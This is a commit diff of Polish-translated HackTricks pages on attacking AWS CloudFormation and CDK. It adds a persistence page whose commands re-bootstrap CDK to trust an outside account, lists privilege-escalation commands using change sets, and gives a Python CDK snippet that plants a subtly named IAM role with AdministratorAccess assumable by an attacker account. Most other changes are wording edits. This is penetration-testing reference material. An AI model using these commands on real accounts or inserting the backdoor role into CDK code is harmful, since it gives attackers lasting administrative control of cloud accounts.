Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud

This commit is contained in:
Translator
2025-04-07 01:39:00 +00:00
parent eb4594f47c
commit e635cf954c
4 changed files with 85 additions and 10 deletions
+1
View File
@@ -211,6 +211,7 @@
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
@@ -0,0 +1,23 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
Aby uzyskać więcej informacji, uzyskaj dostęp do:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
AWS CDK wdraża stos CFN o nazwie `CDKToolkit`. Ten stos obsługuje parametr `TrustedAccounts`, który pozwala zewnętrznym kontom na wdrażanie projektów CDK w koncie ofiary. Atakujący może to wykorzystać, aby przyznać sobie nieograniczony dostęp do konta ofiary, korzystając z AWS cli do ponownego wdrożenia stosu z parametrami lub z AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -24,7 +24,7 @@ Na poniższej stronie masz **przykład eksploatacji** z dodatkowym uprawnieniem
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}
**Potencjalny wpływ:** Privesc do roli serwisowej cloudformation.
**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która została określona.
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
@@ -43,7 +43,7 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji).
Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu uzyskania przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji).
Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnienia `UpdateStack`** nad stosem i przeprowadzenia ataku.
@@ -53,7 +53,7 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so
Napastnik z uprawnieniami do **przekazywania roli oraz tworzenia i wykonywania ChangeSet** może **tworzyć/aktualizować nowy stos cloudformation, nadużywając ról usługi cloudformation** tak jak w przypadku CreateStack lub UpdateStack.
Poniższe wykorzystanie jest **wariacją**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) używającą **uprawnień ChangeSet** do stworzenia stosu.
Poniższe wykorzystanie jest **wariacją**[ **CreateStack**](#iam-passrole-cloudformation-createstack) używającą **uprawnień ChangeSet** do stworzenia stosu.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **nadania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku.
Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku.
**Potencjalny wpływ:** Privesc do ról serwisowych cloudformation.
@@ -89,7 +89,7 @@ To jest jak poprzednia metoda, ale bez przekazywania **ról IAM**, więc możesz
```
--change-set-type UPDATE
```
**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która jest już przypisana.
**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która jest już dołączona.
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
@@ -99,12 +99,57 @@ Napastnik mógłby nadużyć tych uprawnień, aby tworzyć/aktualizować StackSe
### `cloudformation:UpdateStackSet`
Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia przypisanych ról cloudformation.
Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia dołączonych ról cloudformation.
**Potencjalny wpływ:** Privesc do przypisanych ról cloudformation.
**Potencjalny wpływ:** Privesc do dołączonych ról cloudformation.
## AWS CDK
AWS cdk to zestaw narzędzi umożliwiający użytkownikom definiowanie ich infrastruktury jako kodu w językach, które już znają, a także łatwe ponowne używanie sekcji. CDK następnie przekształca kod wysokiego poziomu (tj. python) w szablony Cloudformation (yaml lub json).
Aby używać CDK, użytkownik administracyjny musi najpierw uruchomić bootstrap konta, co tworzy kilka ról IAM, w tym *rolę exec*, która ma uprawnienia \*/\*. Te role mają strukturę nazewnictwa `cdk-<qualifier>-<name>-<account-id>-<region>`. Bootstrap musi być wykonany raz na region na konto.
Domyślnie użytkownicy CDK nie mają dostępu do listy ról potrzebnych do używania CDK, co oznacza, że będziesz musiał je określić ręcznie. Jeśli przejmiesz maszynę dewelopera lub jakiś węzeł CI/CD, te role mogą być przyjęte, aby przyznać sobie możliwość wdrażania szablonów CFN, używając roli `cfn-exec`, aby umożliwić CFN wdrażanie dowolnych zasobów, całkowicie kompromitując konto.
### Określenie nazw ról
Jeśli masz `cloudformation:DescribeStacks`, role są zdefiniowane w stosie o nazwie `CDKToolkit`, a możesz pobrać nazwy stamtąd.
Jeśli jesteś na maszynie, która była używana do budowy i wdrażania projektów CDK, możesz je pobrać z `cdk.out/manafest.json` w głównym katalogu projektów.
Możesz również dobrze zgadnąć, jakie one są. `qualifier` to ciąg dodawany do ról, umożliwiający jednoczesne wdrażanie wielu instancji bootstrap CDK, jednak domyślna wartość jest zakodowana na `hnb659fds`.
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### Dodawanie złośliwego kodu do źródła projektu
Jeśli możesz pisać do źródła projektu, ale nie możesz go samodzielnie wdrożyć (na przykład, deweloper wdraża kod za pomocą CI/CD, a nie lokalnej maszyny), nadal możesz skompromitować środowisko, dodając złośliwe zasoby do stosu. Poniższe dodaje rolę IAM, która może być przyjęta przez konto atakującego do projektu python CDK.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## Odniesienia
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## CloudFormation
AWS CloudFormation to usługa zaprojektowana w celu **usprawnienia zarządzania zasobami AWS**. Umożliwia użytkownikom skupienie się bardziej na ich aplikacjach działających w AWS, **minimalizując czas poświęcony na zarządzanie zasobami**. Główna cecha tej usługi to **szablon**—opisowy model pożądanych zasobów AWS. Po dostarczeniu tego szablonu, CloudFormation jest odpowiedzialny za **provisioning i konfigurację** określonych zasobów. Ta automatyzacja ułatwia bardziej efektywne i bezbłędne zarządzanie infrastrukturą AWS.
AWS CloudFormation to usługa zaprojektowana w celu **usprawnienia zarządzania zasobami AWS**. Umożliwia użytkownikom skupienie się bardziej na ich aplikacjach działających w AWS, **minimalizując czas poświęcony na zarządzanie zasobami**. Główną cechą tej usługi jest **szablon**—opisowy model pożądanych zasobów AWS. Po dostarczeniu tego szablonu, CloudFormation jest odpowiedzialny za **provisioning i konfigurację** określonych zasobów. Ta automatyzacja ułatwia bardziej efektywne i bezbłędne zarządzanie infrastrukturą AWS.
### Enumeration
```bash
@@ -37,13 +37,19 @@ Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień cloudformat
../aws-privilege-escalation/aws-cloudformation-privesc/
{{#endref}}
### Persistence
{{#ref}}
../aws-persistence/aws-cloudformation-persistence.md
{{#endref}}
### Post-Exploitation
Sprawdź **sekrety** lub wrażliwe informacje w **szablonie, parametrach i wynikach** każdego CloudFormation
Sprawdź **sekrety** lub wrażliwe informacje w **szablonie, parametrach i wyjściu** każdego CloudFormation
## Codestar
AWS CodeStar to usługa do tworzenia, zarządzania i pracy z projektami rozwoju oprogramowania na AWS. Możesz szybko rozwijać, budować i wdrażać aplikacje na AWS za pomocą projektu AWS CodeStar. Projekt AWS CodeStar tworzy i **integruje usługi AWS** dla twojego narzędzia do rozwoju projektu. W zależności od wybranego szablonu projektu AWS CodeStar, to narzędzie może obejmować kontrolę wersji, budowę, wdrożenie, serwery wirtualne lub zasoby bezserwerowe i inne. AWS CodeStar również **zarządza uprawnieniami wymaganymi dla użytkowników projektu** (nazywanych członkami zespołu).
AWS CodeStar to usługa do tworzenia, zarządzania i pracy z projektami rozwoju oprogramowania na AWS. Możesz szybko rozwijać, budować i wdrażać aplikacje na AWS za pomocą projektu AWS CodeStar. Projekt AWS CodeStar tworzy i **integruje usługi AWS** dla twojego narzędzia do rozwoju projektu. W zależności od wybranego szablonu projektu AWS CodeStar, to narzędzie może obejmować kontrolę wersji, budowanie, wdrażanie, wirtualne serwery lub zasoby bezserwerowe i inne. AWS CodeStar również **zarządza uprawnieniami wymaganymi dla użytkowników projektu** (nazywanych członkami zespołu).
### Enumeration
```bash